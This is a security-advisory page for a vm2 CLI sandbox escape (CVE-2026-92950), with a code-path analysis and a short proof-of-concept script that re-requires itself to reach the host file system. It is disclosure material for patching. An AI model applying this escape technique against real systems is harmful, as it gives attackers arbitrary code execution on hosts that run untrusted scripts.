GHSA-JXXV-8R27-VM4P
Vulnerability from github – Published: 2026-10-01 15:40 – Updated: 2026-10-01 15:40Summary
The vm2 command-line tool installed by npm install -g vm2 and documented in the README's "CLI" section runs the supplied script under NodeVM with require:{external:true} and no root / context / builtin configured. With these defaults the resolver loads every relative or absolute require() target through the host require() function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to vm2 ./script.js can call require(__filename) to re-execute itself in host realm and reach fs, child_process, etc. The documented sandbox runner is therefore equivalent to node ./script.js. No additional files, flags, or user interaction are required.
Details
The vulnerability lets a malicious sandboxed script - the file argument to the documented vm2 <file> CLI - execute arbitrary code in the host Node.js process, crossing the sandbox → host boundary that vm2 is meant to enforce.
Vulnerable code path
- Source -
bin/vm2:3→lib/cli.js:7-18.process.argv[2]is the attacker-authored script path. The CLI invokes:js NodeVM.file(path, { verbose: true, require: { external: true } });Withoutrequire.root,require.context, norrequire.builtin. - Hop -
lib/nodevm.js:618-636.NodeVM.filereads the file and callsnew NodeVM(options).run(body, resolvedFilename). - Hop -
lib/nodevm.js:335→lib/resolver-compat.js:205-266(makeResolverFromLegacyOptions). Destructuresexternal:true,rootPaths=undefined,hostRequire=defaultRequire(line 218),context='host'(default, line 219). Becausetypeof externalOpt !== 'object'(line 265) it returns aCustomResolverwithcheckedRootPaths=undefinedandpathContext = () => 'host'(line 263). - Hop -
lib/setup-node-sandbox.js:86-123(requireImpl). Sandboxrequire(id)resolves viaresolver.resolve(...)(lib/nodevm.js:380-383).lib/resolver.js:244-275handles absolute/relative specifiers;tryFileatlib/resolver.js:327-329gates onthis.isPathAllowed(x). - Barrier (gap) -
lib/resolver-compat.js:53-54:js isPathAllowed(filename) { if (this.rootPaths === undefined) return true;With norootconfigured, every filesystem path is allowed.checkAccess(lib/resolver.js:39-42) delegates to the same method. - Sink -
lib/resolver-compat.js:74-77:js loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...); const m = this.hostRequire(filename); // ← host-realm require() mod.exports = vm.readonly(m); }hostRequireisdefaultRequire(lib/resolver-compat.js:20-23) - the real hostrequire(). The required module's top-level body executes in the host realm beforevm.readonly()wraps the exports; wrapping happens too late to constrain side-effects.loadNode(lib/resolver-compat.js:80-83) is identical for.nodenative addons (process.dlopenin host).
PoC
Save the following as /tmp/poc.js:
'use strict';
try {
// Host realm: fs is available - write sentinel and stop.
const fs = require('fs');
fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\n');
console.log('HOST realm: wrote /tmp/vm2.proof');
} catch (e) {
// Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -
// the CLI resolver loads it via host require() (resolver-compat.js:76).
console.log('sandbox realm: fs blocked (' + e.message + '); escaping');
require(__filename);
}
Run via the shipped CLI exactly as the README documents:
node ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`
Observed output:
sandbox realm: fs blocked (Cannot find module 'fs'); escaping
HOST realm: wrote /tmp/vm2.proof
/tmp/vm2.proof exists, written by fs.writeFileSync from a script whose
direct require('fs') was blocked by the sandbox. The first line proves the
boundary exists; the second proves it was crossed.
Impact
A user who follows the README's CLI section and runs vm2 ./untrusted.js on an
attacker-supplied file gets arbitrary code execution as that user - the
sandbox provides no isolation in this configuration. The blast radius is the
full host Node.js process: fs, child_process, process.dlopen, network,
environment.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.6"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92950"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-453",
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-01T15:40:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README\u0027s \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker\u0027s module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 \u003cfile\u003e` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox \u2192 host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` \u2192 `lib/cli.js:7-18`. `process.argv[2]` is the\n attacker-authored script path. The CLI invokes:\n ```js\n NodeVM.file(path, { verbose: true, require: { external: true } });\n ```\n Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` \u2192 `lib/resolver-compat.js:205-266`\n (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n `context=\u0027host\u0027` (default, line 219). Because `typeof externalOpt !== \u0027object\u0027`\n (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n `pathContext = () =\u003e \u0027host\u0027` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n ```js\n isPathAllowed(filename) {\n if (this.rootPaths === undefined) return true;\n ```\n With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n ```js\n loadJS(vm, mod, filename) {\n if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(...);\n const m = this.hostRequire(filename); // \u2190 host-realm require()\n mod.exports = vm.readonly(m);\n }\n ```\n `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n host `require()`. The required module\u0027s **top-level body executes in the host\n realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n\u0027use strict\u0027;\ntry {\n // Host realm: fs is available - write sentinel and stop.\n const fs = require(\u0027fs\u0027);\n fs.writeFileSync(\u0027/tmp/vm2.proof\u0027, \u0027host pid=\u0027 + process.pid + \u0027\\n\u0027);\n console.log(\u0027HOST realm: wrote /tmp/vm2.proof\u0027);\n} catch (e) {\n // Sandbox realm: require(\u0027fs\u0027) threw ENOTFOUND. Re-require this file -\n // the CLI resolver loads it via host require() (resolver-compat.js:76).\n console.log(\u0027sandbox realm: fs blocked (\u0027 + e.message + \u0027); escaping\u0027);\n require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module \u0027fs\u0027); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require(\u0027fs\u0027)` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README\u0027s CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.",
"id": "GHSA-jxxv-8r27-vm4p",
"modified": "2026-10-01T15:40:46Z",
"published": "2026-10-01T15:40:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92950"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.